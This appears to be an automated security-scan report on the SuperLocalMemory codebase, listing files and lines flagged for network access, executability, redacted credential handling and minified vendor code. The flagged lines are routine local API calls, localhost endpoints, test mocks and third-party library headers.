fetch('/health', { cache: 'no-store' }) - Network accessline 398
var poll = setInterval(function () { tries += 1; fetch('/health', { cache: 'no-store' }) - Network accessline 399
tries += 1; fetch('/health', { cache: 'no-store' }) .then(function (r) { return r.ok ? r.json() : null; }) - Network accessline 400
fetch('/health', { cache: 'no-store' }) - Network accessline 519
Promise.all([ fetch('/api/lifecycle/status').then(function (r) { return r.ok ? r.json() : null; }).catch(function () { return null; }), - Network accessline 520
fetch('/api/lifecycle/status').then(function (r) { return r.ok ? r.json() : null; }).catch(function () { return null; }), - Network accessline 521
fetch('/api/trust/stats').then(function (r) { return r.ok ? r.json() : null; }).catch(function () { return null; }), - Network accessline 522
fetch('/api/compliance/status').then(function (r) { return r.ok ? r.json() : null; }).catch(function () { return null; }), - Network accessline 524
fetch('/api/compliance/audit?limit=100').then(function (r) { return r.ok ? r.json() : null; }).catch(function () { return null; }),
src/superlocalmemory/ui/js/od-ops-health.js
- Executable scriptline 1
Executable file - Network accessline 46
* --------------------------------------------------------------------- */ function _get(path) { return fetch(path, { credentials: 'same-origin' }) - Network accessline 47
function _get(path) { return fetch(path, { credentials: 'same-origin' }) .then(function (r) { - Network accessline 48
return fetch(path, { credentials: 'same-origin' }) - Network accessline 55
function _post(path, body) { return fetch(path, { - Network accessline 56
return fetch(path, {
src/superlocalmemory/ui/js/od-optimize.js
- Executable scriptline 1
Executable file - Network accessline 551
function loadSavings() { fetch('/api/optimize/savings') - Network accessline 552
fetch('/api/optimize/savings') - Network accessline 575
function loadConfig() { fetch('/api/optimize/config') - Network accessline 576
fetch('/api/optimize/config') - Network accessline 597
function loadStatus() { fetch('/api/optimize/status') - Network accessline 598
fetch('/api/optimize/status') - Network accessline 604
function loadStats() { fetch('/api/optimize/stats') - Network accessline 605
fetch('/api/optimize/stats') - Network accessline 621
function putConfig(body) { fetch('/api/optimize/config', { - Network accessline 622
fetch('/api/optimize/config', { - Network accessline 716
}).then(function(confirmed) { if (!confirmed) return; fetch('/api/optimize/cache/clear', { method: 'DELETE' }) - Network accessline 717
if (!confirmed) return; fetch('/api/optimize/cache/clear', { method: 'DELETE' }) .then(function (r) { return r.json(); }) - Network accessline 718
fetch('/api/optimize/cache/clear', { method: 'DELETE' })
src/superlocalmemory/ui/js/od-polish.js
- Executable scriptline 1
Executable file
src/superlocalmemory/ui/js/od-reindex.js
- Executable scriptline 1
Executable file - Network accessline 119
stop(); var gen = _gen; return fetch(API).then(function (r) { - Network accessline 120
var gen = _gen; return fetch(API).then(function (r) { return r.json().catch(function () { return {}; }).then(function (data) { - Network accessline 121
return fetch(API).then(function (r) { - Network accessline 142
stop(); var gen = _gen; return fetch(API).then(function (r) { return r.ok ? r.json() : null; }).then(function (data) { - Network accessline 143
var gen = _gen; return fetch(API).then(function (r) { return r.ok ? r.json() : null; }).then(function (data) { if (gen !== _gen || !data) return; - Network accessline 144
return fetch(API).then(function (r) { return r.ok ? r.json() : null; }).then(function (data) {
src/superlocalmemory/ui/js/od-settings-groups.js
- Executable scriptline 1
Executable file - Network accessline 36
} function loadStorage() { fetch('/api/v3/storage/config').then(function (r) { return r.ok ? r.json() : null; }) - Network accessline 37
function loadStorage() { fetch('/api/v3/storage/config').then(function (r) { return r.ok ? r.json() : null; }) .then(function (d) { - Network accessline 38
fetch('/api/v3/storage/config').then(function (r) { return r.ok ? r.json() : null; }) - Network accessline 95
} function loadScope() { fetch('/api/v3/scope/config').then(function (r) { return r.ok ? r.json() : null; }) - Network accessline 96
function loadScope() { fetch('/api/v3/scope/config').then(function (r) { return r.ok ? r.json() : null; }) .then(function (d) { - Network accessline 97
fetch('/api/v3/scope/config').then(function (r) { return r.ok ? r.json() : null; }) - Network accessline 155
} function loadRuntime() { fetch('/api/v3/runtime/config').then(function (r) { return r.ok ? r.json() : null; }) - Network accessline 156
function loadRuntime() { fetch('/api/v3/runtime/config').then(function (r) { return r.ok ? r.json() : null; }) .then(function (d) { - Network accessline 157
fetch('/api/v3/runtime/config').then(function (r) { return r.ok ? r.json() : null; }) - Network accessline 202
} function loadCapture() { fetch('/api/v3/auto-capture/config').then(function (r) { return r.ok ? r.json() : null; }) - Network accessline 203
function loadCapture() { fetch('/api/v3/auto-capture/config').then(function (r) { return r.ok ? r.json() : null; }) .then(function (d) { - Network accessline 204
fetch('/api/v3/auto-capture/config').then(function (r) { return r.ok ? r.json() : null; }) - Network accessline 236
} function loadRecall() { fetch('/api/v3/auto-recall/config').then(function (r) { return r.ok ? r.json() : null; }) - Network accessline 237
function loadRecall() { fetch('/api/v3/auto-recall/config').then(function (r) { return r.ok ? r.json() : null; }) .then(function (d) { - Network accessline 238
fetch('/api/v3/auto-recall/config').then(function (r) { return r.ok ? r.json() : null; }) - Network accessline 275
} function loadInvoke() { fetch('/api/v3/auto-invoke/config').then(function (r) { return r.ok ? r.json() : null; }) - Network accessline 276
function loadInvoke() { fetch('/api/v3/auto-invoke/config').then(function (r) { return r.ok ? r.json() : null; }) .then(function (d) { - Network accessline 277
fetch('/api/v3/auto-invoke/config').then(function (r) { return r.ok ? r.json() : null; }) - Network accessline 332
} function loadForgetting() { fetch('/api/v3/forgetting/config').then(function (r) { return r.ok ? r.json() : null; }) - Network accessline 333
function loadForgetting() { fetch('/api/v3/forgetting/config').then(function (r) { return r.ok ? r.json() : null; }) .then(function (d) { - Network accessline 334
fetch('/api/v3/forgetting/config').then(function (r) { return r.ok ? r.json() : null; }) - Network accessline 354
drawDecay(kv); }).catch(function () {}); fetch('/api/v3/forgetting/stats').then(function (r) { return r.ok ? r.json() : null; }) - Network accessline 355
}).catch(function () {}); fetch('/api/v3/forgetting/stats').then(function (r) { return r.ok ? r.json() : null; }) .then(function (d) { - Network accessline 356
fetch('/api/v3/forgetting/stats').then(function (r) { return r.ok ? r.json() : null; }) - Network accessline 432
} function loadEvolution() { fetch('/api/evolution/status').then(function (r) { return r.ok ? r.json() : null; }) - Network accessline 433
function loadEvolution() { fetch('/api/evolution/status').then(function (r) { return r.ok ? r.json() : null; }) .then(function (d) { - Network accessline 434
fetch('/api/evolution/status').then(function (r) { return r.ok ? r.json() : null; }) - Network accessline 484
} function loadBackup() { fetch('/api/backup/status').then(function (r) { return r.ok ? r.json() : null; }) - Network accessline 485
function loadBackup() { fetch('/api/backup/status').then(function (r) { return r.ok ? r.json() : null; }) .then(function (d) { - Network accessline 486
fetch('/api/backup/status').then(function (r) { return r.ok ? r.json() : null; }) - Network accessline 528
} function loadMesh() { fetch('/api/v3/mesh/config').then(function (r) { return r.ok ? r.json() : null; }) - Network accessline 529
function loadMesh() { fetch('/api/v3/mesh/config').then(function (r) { return r.ok ? r.json() : null; }) .then(function (d) { - Network accessline 530
fetch('/api/v3/mesh/config').then(function (r) { return r.ok ? r.json() : null; }) - Network accessline 559
} function loadTrust() { fetch('/api/v3/trust/config').then(function (r) { return r.ok ? r.json() : null; }) - Network accessline 560
function loadTrust() { fetch('/api/v3/trust/config').then(function (r) { return r.ok ? r.json() : null; }) .then(function (d) { - Network accessline 561
fetch('/api/v3/trust/config').then(function (r) { return r.ok ? r.json() : null; }) - Network accessline 618
} function loadRateLimit() { fetch('/api/v3/ratelimit').then(function (r) { return r.ok ? r.json() : null; }) - Network accessline 619
function loadRateLimit() { fetch('/api/v3/ratelimit').then(function (r) { return r.ok ? r.json() : null; }) .then(function (d) { - Network accessline 620
fetch('/api/v3/ratelimit').then(function (r) { return r.ok ? r.json() : null; }) - Network accessline 666
} function loadDaemon() { fetch('/api/v3/daemon/config').then(function (r) { return r.ok ? r.json() : null; }) - Network accessline 667
function loadDaemon() { fetch('/api/v3/daemon/config').then(function (r) { return r.ok ? r.json() : null; }) .then(function (d) { - Network accessline 668
fetch('/api/v3/daemon/config').then(function (r) { return r.ok ? r.json() : null; })
src/superlocalmemory/ui/js/od-settings-models.js
- Executable scriptline 1
Executable file - Network accessline 84
} function loadModelCatalog() { return fetch('/api/v3/models/catalog').then(function (r) { - Network accessline 85
function loadModelCatalog() { return fetch('/api/v3/models/catalog').then(function (r) { if (!r.ok) throw new Error('models catalog unavailable'); - Network accessline 86
return fetch('/api/v3/models/catalog').then(function (r) { - Network accessline 111
var modelHint = el('span', { id: P + '-model-hint' }, { fontSize:'12px', color:'var(--fg-2)' }); var keyInp = makeTin('apikey', 'sk-... or your key', 'password'); var epInp = makeTin('endpoint', 'http://localhost:11434'); - Network accessline 112
var keyInp = makeTin('apikey', 'sk-... or your key', 'password'); var epInp = makeTin('endpoint', 'http://localhost:11434'); var saveBtn = makeBtn('mode-save', 'Save Mode', true); - Network accessline 113
var epInp = makeTin('endpoint', 'http://localhost:11434'); - Access to secretsline 130
[Credential-related source omitted] - Network accessline 134
} function loadMode() { fetch('/api/v3/mode').then(function (r) { return r.ok ? r.json() : null; }) - Network accessline 135
function loadMode() { fetch('/api/v3/mode').then(function (r) { return r.ok ? r.json() : null; }) .then(function (d) { - Network accessline 136
fetch('/api/v3/mode').then(function (r) { return r.ok ? r.json() : null; }) - Network accessline 149
if (ep) { ep.value = ''; ep.placeholder = d.endpoint || 'http://localhost:11434'; - Network accessline 150
ep.value = ''; ep.placeholder = d.endpoint || 'http://localhost:11434'; } - Network accessline 151
ep.placeholder = d.endpoint || 'http://localhost:11434'; - Access to secretsline 162
[Credential-related source omitted] - Network accessline 184
} function testEndpoint(id, url, body) { fetch(url, { method:'POST', headers:{'Content-Type':'application/json'}, body:JSON.stringify(body) }) - Network accessline 185
function testEndpoint(id, url, body) { fetch(url, { method:'POST', headers:{'Content-Type':'application/json'}, body:JSON.stringify(body) }) .then(readOk).then(function (d) { - Network accessline 186
fetch(url, { method:'POST', headers:{'Content-Type':'application/json'}, body:JSON.stringify(body) }) - Access to secretsline 197
[Credential-related source omitted] - Network accessline 212
var dimInp = makeTin('emb-dim', '768', 'number'); dimInp.style.minWidth = '80px'; dimInp.style.maxWidth = '100px'; var epInp = makeTin('emb-endpoint', 'http://localhost:8045/v1/embeddings'); - Network accessline 213
dimInp.style.minWidth = '80px'; dimInp.style.maxWidth = '100px'; var epInp = makeTin('emb-endpoint', 'http://localhost:8045/v1/embeddings'); var keyInp = makeTin('emb-key', 'optional key', 'password'); - Network accessline 214
var epInp = makeTin('emb-endpoint', 'http://localhost:8045/v1/embeddings'); - Access to secretsline 234
[Credential-related source omitted] - Network accessline 242
} function loadEmb() { fetch('/api/v3/embedding/config').then(function (r) { - Network accessline 243
function loadEmb() { fetch('/api/v3/embedding/config').then(function (r) { if (!r.ok) throw new Error('embedding config unavailable'); - Network accessline 244
fetch('/api/v3/embedding/config').then(function (r) { - Access to secretsline 287
[Credential-related source omitted]
src/superlocalmemory/ui/js/od-settings.js
- Executable scriptline 1
Executable file - Network accessline 38
if (refresh) _tokenCache = null; if (_tokenCache) return Promise.resolve(_tokenCache); return fetch('/internal/token') - Network accessline 39
if (_tokenCache) return Promise.resolve(_tokenCache); return fetch('/internal/token') .then(function (response) { - Network accessline 40
return fetch('/internal/token') - Network accessline 51
} function sendAuthenticated(url, method, body, token) { return fetch(url, { - Network accessline 52
function sendAuthenticated(url, method, body, token) { return fetch(url, { method: method, - Network accessline 53
return fetch(url, { - Network accessline 210
btn.disabled = true; btn.textContent = 'Restarting…'; fetch('/api/daemon/restart', { method: 'POST', credentials: 'same-origin' }).then(requireSuccess) - Network accessline 211
btn.textContent = 'Restarting…'; fetch('/api/daemon/restart', { method: 'POST', credentials: 'same-origin' }).then(requireSuccess) .then(function () { - Network accessline 212
fetch('/api/daemon/restart', { method: 'POST', credentials: 'same-origin' }).then(requireSuccess)
src/superlocalmemory/ui/js/od-shell.js
- Executable scriptline 1
Executable file - Network accessline 141
================================================================ */ var LINKS = { repo: 'https://github.com/qualixar/superlocalmemory', - Network accessline 142
var LINKS = { repo: 'https://github.com/qualixar/superlocalmemory', npm: 'https://www.npmjs.com/package/superlocalmemory', - Network accessline 143
repo: 'https://github.com/qualixar/superlocalmemory', - Network accessline 144
npm: 'https://www.npmjs.com/package/superlocalmemory', - Network accessline 145
pip: 'https://pypi.org/project/superlocalmemory/', - Network accessline 146
qualixar: 'https://qualixar.com', - Network accessline 147
author: 'https://varunpratap.com', - Network accessline 148
license: 'https://github.com/qualixar/superlocalmemory/blob/main/LICENSE', - Network accessline 817
fetch('/health', { credentials: 'same-origin' })
src/superlocalmemory/ui/js/od-signin-gate.js
- Executable scriptline 1
Executable file - Network accessline 42
function post(url, body) { return fetch(url, { method: 'POST', credentials: 'same-origin', - Network accessline 43
return fetch(url, { method: 'POST', credentials: 'same-origin', - Network accessline 113
function check() { fetch('/api/rbac/whoami', { credentials: 'same-origin', cache: 'no-store' }) - Network accessline 114
fetch('/api/rbac/whoami', { credentials: 'same-origin', cache: 'no-store' })
src/superlocalmemory/ui/js/od-skills.js
- Executable scriptline 1
Executable file - Dangerous shell operationline 20
// CSP-safe: no eval(), no innerHTML for API data, no inline event handlers. - Network accessline 32
function getToken() { if (!tokenPromise) { tokenPromise = fetch('/internal/token', { credentials: 'same-origin' }) - Network accessline 33
if (!tokenPromise) { tokenPromise = fetch('/internal/token', { credentials: 'same-origin' }) .then(function (r) { return r.ok ? r.json() : {}; }) - Network accessline 34
tokenPromise = fetch('/internal/token', { credentials: 'same-origin' }) - Network accessline 41
function apiFetch(path) { return fetch(path, { credentials: 'same-origin' }) - Network accessline 42
return fetch(path, { credentials: 'same-origin' }) - Network accessline 49
function apiPost(path, body) { return getToken().then(function (token) { return fetch(path, { - Network accessline 50
return getToken().then(function (token) { return fetch(path, { method: 'POST', - Network accessline 51
return fetch(path, { - Network accessline 225
var NS = 'http://www.w3.org/2000/svg';
src/superlocalmemory/ui/js/od-source-button.js
- Executable scriptline 1
Executable file
src/superlocalmemory/ui/js/od-sources.js
- Executable scriptline 1
Executable file
src/superlocalmemory/ui/js/od-star-ask.js
src/superlocalmemory/ui/js/od-startup.js
- Executable scriptline 1
Executable file - Network accessline 77
function check() { timer = null; fetch('/health', { credentials: 'same-origin', cache: 'no-store' }) - Network accessline 78
timer = null; fetch('/health', { credentials: 'same-origin', cache: 'no-store' }) .then(function (res) { return res.ok ? res.json() : null; }) - Network accessline 79
fetch('/health', { credentials: 'same-origin', cache: 'no-store' })
src/superlocalmemory/ui/js/od-store-check.js
- Executable scriptline 1
Executable file
src/superlocalmemory/ui/js/od-summaries.js
- Executable scriptline 1
Executable file - Network accessline 112
if (!sel || sel.dataset.loaded === '1' || sel.dataset.loading === '1') return; sel.dataset.loading = '1'; fetch(url) - Network accessline 113
sel.dataset.loading = '1'; fetch(url) .then(function (r) { if (!r.ok) throw new Error('HTTP ' + r.status); return r.json(); }) - Network accessline 114
fetch(url) - Network accessline 155
'&tz_offset_minutes=' + encodeURIComponent(String(_offsetMinutes())); if (target) q += '&target=' + encodeURIComponent(target); fetch(q) - Network accessline 156
if (target) q += '&target=' + encodeURIComponent(target); fetch(q) .then(function (r) { - Network accessline 157
fetch(q) - Network accessline 205
if (!from || !to || from > to) { out.textContent = 'Choose a start and end date in order.'; return; } out.textContent = 'Building summary…'; fetch('/api/summary/range?start=' + encodeURIComponent(from) + '&end=' + encodeURIComponent - Network accessline 206
out.textContent = 'Building summary…'; fetch('/api/summary/range?start=' + encodeURIComponent(from) + '&end=' + encodeURIComponent(to) + '&tz_offset_minutes=' + _offsetMinutes()) - Network accessline 207
fetch('/api/summary/range?start=' + encodeURIComponent(from) + '&end=' + encodeURIComponent(to) +
src/superlocalmemory/ui/js/od-team.js
- Executable scriptline 1
Executable file - Network accessline 24
function getJSON(url) { return fetch(url, { cache: 'no-store' }) - Network accessline 25
return fetch(url, { cache: 'no-store' }) - Network accessline 30
function postJSON(url, body, method) { return fetch(url, { - Network accessline 31
return fetch(url, {
src/superlocalmemory/ui/js/od-views.js
- Executable scriptline 1
Executable file - Network accessline 65
init.body = JSON.stringify(body); } return fetch(url, init).then(function (r) { - Network accessline 66
} return fetch(url, init).then(function (r) { return r.json().catch(function () { return {}; }).then(function (d) { - Network accessline 67
return fetch(url, init).then(function (r) {
src/superlocalmemory/ui/js/od-welcome.js
- Executable scriptline 1
Executable file - Network accessline 24
var MEDIA_PANE = 'media-pane'; var PROMPT = 'Install SuperLocalMemory on this computer for me. Follow ' + 'https://github.com/qualixar/superlocalmemory/blob/main/SETUP_FOR_AGENTS.md step by step and show me ' - Network accessline 25
var PROMPT = 'Install SuperLocalMemory on this computer for me. Follow ' + 'https://github.com/qualixar/superlocalmemory/blob/main/SETUP_FOR_AGENTS.md step by step and show me ' + 'what each step printed. Ask me only one question, b - Network accessline 26
+ 'https://github.com/qualixar/superlocalmemory/blob/main/SETUP_FOR_AGENTS.md step by step and show me ' - Network accessline 48
function api(url) { return fetch(url).then(function (r) { - Network accessline 49
return fetch(url).then(function (r) {
src/superlocalmemory/ui/js/optimize.js
- Network accessline 1
// SuperLocalMemory V3 — Optimize Tab // Part of Qualixar | https://superlocalmemory.com - Executable scriptline 1
Executable file - Network accessline 2
// Part of Qualixar | https://superlocalmemory.com - Network accessline 22
async function _loadOptimizeConfig() { try { var resp = await fetch('/api/optimize/config'); - Network accessline 23
try { var resp = await fetch('/api/optimize/config'); if (!resp.ok) { - Network accessline 24
var resp = await fetch('/api/optimize/config'); - Network accessline 48
async function _loadSavings() { try { var resp = await fetch('/api/optimize/savings'); - Network accessline 49
try { var resp = await fetch('/api/optimize/savings'); if (!resp.ok) { - Network accessline 50
var resp = await fetch('/api/optimize/savings'); - Network accessline 128
async function _putConfig(body) { try { var resp = await fetch('/api/optimize/config', { - Network accessline 129
try { var resp = await fetch('/api/optimize/config', { method: 'PUT', - Network accessline 130
var resp = await fetch('/api/optimize/config', { - Network accessline 146
document.addEventListener('click', function(e) { if (e.target && e.target.id === 'opt-copy-url') { var url = 'http://localhost:8765'; - Network accessline 147
if (e.target && e.target.id === 'opt-copy-url') { var url = 'http://localhost:8765'; if (navigator.clipboard && navigator.clipboard.writeText) { - Network accessline 148
var url = 'http://localhost:8765';
src/superlocalmemory/ui/js/profiles.js
- Executable scriptline 1
Executable file - Network accessline 4
async function loadProfiles() { try { var response = await fetch('/api/profiles'); - Network accessline 5
try { var response = await fetch('/api/profiles'); var data = await response.json(); - Network accessline 6
var response = await fetch('/api/profiles'); - Network accessline 47
async function _postCreateProfile(name) { try { var response = await fetch('/api/profiles/create', { - Network accessline 48
try { var response = await fetch('/api/profiles/create', { method: 'POST', - Network accessline 49
var response = await fetch('/api/profiles/create', { - Network accessline 252
if (!confirmed) return; try { var response = await fetch('/api/profiles/' + encodeURIComponent(name), { - Network accessline 253
try { var response = await fetch('/api/profiles/' + encodeURIComponent(name), { method: 'DELETE' - Network accessline 254
var response = await fetch('/api/profiles/' + encodeURIComponent(name), { - Network accessline 274
if (!container) return; try { var response = await fetch('/api/profiles'); - Network accessline 275
try { var response = await fetch('/api/profiles'); var data = await response.json(); - Network accessline 276
var response = await fetch('/api/profiles'); - Network accessline 362
async function switchProfile(profileName) { try { var response = await fetch('/api/profiles/' + encodeURIComponent(profileName) + '/switch', { - Network accessline 363
try { var response = await fetch('/api/profiles/' + encodeURIComponent(profileName) + '/switch', { method: 'POST' - Network accessline 364
var response = await fetch('/api/profiles/' + encodeURIComponent(profileName) + '/switch', {
src/superlocalmemory/ui/js/quick-actions.js
src/superlocalmemory/ui/js/recall-lab.js
src/superlocalmemory/ui/js/search.js
- Executable scriptline 1
Executable file - Network accessline 10
showLoading('memories-list', 'Searching...'); try { var response = await fetch('/api/search', { - Network accessline 11
try { var response = await fetch('/api/search', { method: 'POST', - Network accessline 12
var response = await fetch('/api/search', {
src/superlocalmemory/ui/js/settings.js
- Executable scriptline 1
Executable file - Network accessline 12
async function loadLearningDataStats() { try { var response = await fetch('/api/feedback/stats'); - Network accessline 13
try { var response = await fetch('/api/feedback/stats'); var data = await response.json(); - Network accessline 14
var response = await fetch('/api/feedback/stats'); - Network accessline 51
async function backupLearningDb() { try { var response = await fetch('/api/learning/backup', { method: 'POST' }); - Network accessline 52
try { var response = await fetch('/api/learning/backup', { method: 'POST' }); var data = await response.json(); - Network accessline 53
var response = await fetch('/api/learning/backup', { method: 'POST' }); - Network accessline 66
async function loadBackupStatus() { try { var response = await fetch('/api/backup/status'); - Network accessline 67
try { var response = await fetch('/api/backup/status'); var data = await response.json(); - Network accessline 68
var response = await fetch('/api/backup/status'); - Network accessline 139
async function saveBackupConfig() { try { var response = await fetch('/api/backup/configure', { - Network accessline 140
try { var response = await fetch('/api/backup/configure', { method: 'POST', - Network accessline 141
var response = await fetch('/api/backup/configure', { - Network accessline 162
showToast('Creating backup...'); try { var response = await fetch('/api/backup/create', { method: 'POST' }); - Network accessline 163
try { var response = await fetch('/api/backup/create', { method: 'POST' }); var data = await response.json(); - Network accessline 164
var response = await fetch('/api/backup/create', { method: 'POST' }); - Network accessline 179
async function loadBackupList() { try { var response = await fetch('/api/backup/list'); - Network accessline 180
try { var response = await fetch('/api/backup/list'); var data = await response.json(); - Network accessline 181
var response = await fetch('/api/backup/list'); - Network accessline 234
try { var response = await fetch('/api/backup/destinations'); - Network accessline 235
var response = await fetch('/api/backup/destinations'); - Network accessline 485
try { var response = await fetch('/api/backup/disconnect/' + destId, { method: 'DELETE' }); - Network accessline 486
var response = await fetch('/api/backup/disconnect/' + destId, { method: 'DELETE' }); - Network accessline 500
showToast('Starting cloud sync...'); try { var response = await fetch('/api/backup/sync', { method: 'POST' }); - Network accessline 501
try { var response = await fetch('/api/backup/sync', { method: 'POST' }); var data = await response.json(); - Network accessline 502
var response = await fetch('/api/backup/sync', { method: 'POST' }); - Network accessline 510
if (polls > 30) { clearInterval(pollInterval); return; } try { var statusResp = await fetch('/api/backup/destinations'); - Network accessline 511
try { var statusResp = await fetch('/api/backup/destinations'); var statusData = await statusResp.json(); - Network accessline 512
var statusResp = await fetch('/api/backup/destinations'); - Network accessline 536
showToast('Preparing backup export...'); try { var response = await fetch('/api/backup/export', { method: 'POST' }); - Network accessline 537
try { var response = await fetch('/api/backup/export', { method: 'POST' }); if (!response.ok) throw new Error('Export rejected'); - Network accessline 538
var response = await fetch('/api/backup/export', { method: 'POST' });
src/superlocalmemory/ui/js/timeline.js
- Executable scriptline 1
Executable file - Network accessline 5
showLoading('timeline-chart', 'Loading timeline...'); try { var response = await fetch('/api/v3/timeline/?range=30d&group_by=date&limit=1000'); - Network accessline 6
try { var response = await fetch('/api/v3/timeline/?range=30d&group_by=date&limit=1000'); if (!response.ok) throw new Error('HTTP ' + response.status); - Network accessline 7
var response = await fetch('/api/v3/timeline/?range=30d&group_by=date&limit=1000');
src/superlocalmemory/ui/js/trust-dashboard.js
- Executable scriptline 1
Executable file - Network accessline 135
var generation = ++STATE.generation; try { var resp = await fetch('/api/dashboard/trust?limit=' + STATE.pageSize + '&offset=' + (STATE.page * STATE.pageSize) + '&sort=' + encodeURIComponent(STATE.sort)); - Network accessline 136
try { var resp = await fetch('/api/dashboard/trust?limit=' + STATE.pageSize + '&offset=' + (STATE.page * STATE.pageSize) + '&sort=' + encodeURIComponent(STATE.sort)); if (!resp.ok) { - Network accessline 137
var resp = await fetch('/api/dashboard/trust?limit=' + STATE.pageSize + '&offset=' + (STATE.page * STATE.pageSize) + '&sort=' + encodeURIComponent(STATE.sort));
src/superlocalmemory/ui/vendor/bootstrap.bundle.min.js
- Network accessline 1
/*! * Bootstrap v5.3.0 (https://getbootstrap.com/) - Executable scriptline 1
Executable file - Network accessline 2
* Bootstrap v5.3.0 (https://getbootstrap.com/) - Network accessline 3
* Copyright 2011-2023 The Bootstrap Authors (https://github.com/twbs/bootstrap/graphs/contributors) - Network accessline 4
* Licensed under MIT (https://github.com/twbs/bootstrap/blob/main/LICENSE) - Possible obfuscationline 6
!function(t,e){"object"==typeof exports&&"undefined"!=typeof module?module.exports=e():"function"==typeof define&&define.amd?define(e):(t="undefined"!=typeof globalThis?globalThis:t||self).bootstrap=e()}(this,(function(){"use strict";const
src/superlocalmemory/ui/vendor/bootstrap.min.css
- Network accessline 1
@charset "UTF-8";/*! * Bootstrap v5.3.0 (https://getbootstrap.com/) - Network accessline 2
* Bootstrap v5.3.0 (https://getbootstrap.com/) - Network accessline 3
* Copyright 2011-2023 The Bootstrap Authors * Licensed under MIT (https://github.com/twbs/bootstrap/blob/main/LICENSE) */:root,[data-bs-theme=light]{--bs-blue:#0d6efd;--bs-indigo:#6610f2;--bs-purple:#6f42c1;--bs-pink:#d63384;--bs-red:#dc3 - Network accessline 4
* Licensed under MIT (https://github.com/twbs/bootstrap/blob/main/LICENSE)
src/superlocalmemory/ui/vendor/d3.v7.min.js
- Network accessline 1
// https://d3js.org v7.9.0 Copyright 2010-2023 Mike Bostock - Executable scriptline 1
Executable file - Possible obfuscationline 2
!function(t,n){"object"==typeof exports&&"undefined"!=typeof module?n(exports):"function"==typeof define&&define.amd?define(["exports"],n):n((t="undefined"!=typeof globalThis?globalThis:t||self).d3=t.d3||{})}(this,(function(t){"use strict";
src/superlocalmemory/ui/vendor/graphology-library.min.js
- Possible obfuscationline 1
!function(t,e){"object"==typeof exports&&"undefined"!=typeof module?e(exports):"function"==typeof define&&define.amd?define(["exports"],e):e((t="undefined"!=typeof globalThis?globalThis:t||self).graphologyLibrary={})}(this,(function(t){"use - Executable scriptline 1
Executable file
src/superlocalmemory/ui/vendor/graphology.umd.min.js
- Possible obfuscationline 1
!function(t,e){"object"==typeof exports&&"undefined"!=typeof module?module.exports=e():"function"==typeof define&&define.amd?define(e):(t="undefined"!=typeof globalThis?globalThis:t||self).graphology=e()}(this,(function(){"use strict";funct - Executable scriptline 1
Executable file
src/superlocalmemory/ui/vendor/inter-ui/inter-variable.min.css
- Network accessline 3
* Original file: /npm/inter-ui@4.1.0/inter-variable.css * * Do NOT use SRI with dynamically generated files! More information: https://www.jsdelivr.com/using-sri-with-dynamic-files - Network accessline 4
* * Do NOT use SRI with dynamically generated files! More information: https://www.jsdelivr.com/using-sri-with-dynamic-files */ - Network accessline 5
* Do NOT use SRI with dynamically generated files! More information: https://www.jsdelivr.com/using-sri-with-dynamic-files
src/superlocalmemory/ui/vendor/sigma.min.js
- Possible obfuscationline 1
var Sigma;(()=>{var t={796:t=>{t.exports=function(t,e){var r=e.length;if(0!==r){var i=t.length;t.length+=r;for(var n=0;n<r;n++)t[i+n]=e[n]}}},187:t=>{"use strict";var e,r="object"==typeof Reflect?Reflect:null,i=r&&"function"==typeof r.apply - Executable scriptline 1
Executable file
src/superlocalmemory/vector/__init__.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/vector/lancedb_backend.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/views/__init__.py
src/superlocalmemory/views/model.py
src/superlocalmemory/views/runner.py
src/superlocalmemory/views/store.py
tests/__init__.py
- Executable scriptline 1
Executable file
tests/_engine_closer.py
- Executable scriptline 1
Executable file
tests/_hard_timeout_plugin.py
- Executable scriptline 1
Executable file
tests/_isolation_plugin.py
- Executable scriptline 1
Executable file - Access to secretsline 51
[Credential-related source omitted] - Access to secretsline 52
[Credential-related source omitted] - Access to secretsline 59
[Credential-related source omitted] - Access to secretsline 65
[Credential-related source omitted] - Access to secretsline 66
[Credential-related source omitted] - Access to secretsline 67
[Credential-related source omitted] - Access to secretsline 101
[Credential-related source omitted] - Access to secretsline 109
[Credential-related source omitted] - Access to secretsline 110
[Credential-related source omitted] - Access to secretsline 111
[Credential-related source omitted] - Access to secretsline 112
[Credential-related source omitted] - Access to secretsline 113
[Credential-related source omitted] - Access to secretsline 114
[Credential-related source omitted] - Access to secretsline 115
[Credential-related source omitted] - Access to secretsline 116
[Credential-related source omitted] - Access to secretsline 117
[Credential-related source omitted] - Access to secretsline 118
[Credential-related source omitted] - Access to secretsline 119
[Credential-related source omitted] - Access to secretsline 120
[Credential-related source omitted] - Access to secretsline 121
[Credential-related source omitted] - Access to secretsline 122
[Credential-related source omitted] - Access to secretsline 125
[Credential-related source omitted] - Access to secretsline 137
[Credential-related source omitted]
tests/_portable.py
tests/_recall_sources.py
- Executable scriptline 1
Executable file
tests/_shard_plugin.py
- Executable scriptline 1
Executable file
tests/_urlopen_fake.py
- Executable scriptline 1
Executable file - Network accessline 6
Code that talks to the daemon reaches the network two ways: plain ``urllib.request.urlopen`` (health probes) and the egress gate - Network accessline 7
``urllib.request.urlopen`` (health probes) and the egress gate - Network accessline 27
"""``patch("urllib.request.urlopen", ...)`` that also covers the gate.""" - Network accessline 28
with patch("urllib.request.urlopen", *args, **kwargs) as fake, \ - Network accessline 35
monkeypatch.setattr("urllib.request.urlopen", fake)
tests/chaos/__init__.py
- Executable scriptline 1
Executable file
tests/chaos/test_chaos_queue.py
tests/cli/test_no_writable_fallback.py
- Executable scriptline 1
Executable file
tests/cli/test_remote_commands.py
- Executable scriptline 1
Executable file - Access to secretsline 30
[Credential-related source omitted] - Network accessline 45
sock = socket.socket() - Network accessline 68
assert context.verify_flags & STRICT_FLAGS == STRICT_FLAGS for host in ("localhost", "127.0.0.1"): with socket.create_connection(("127.0.0.1", port), timeout=5) as raw: - Network accessline 69
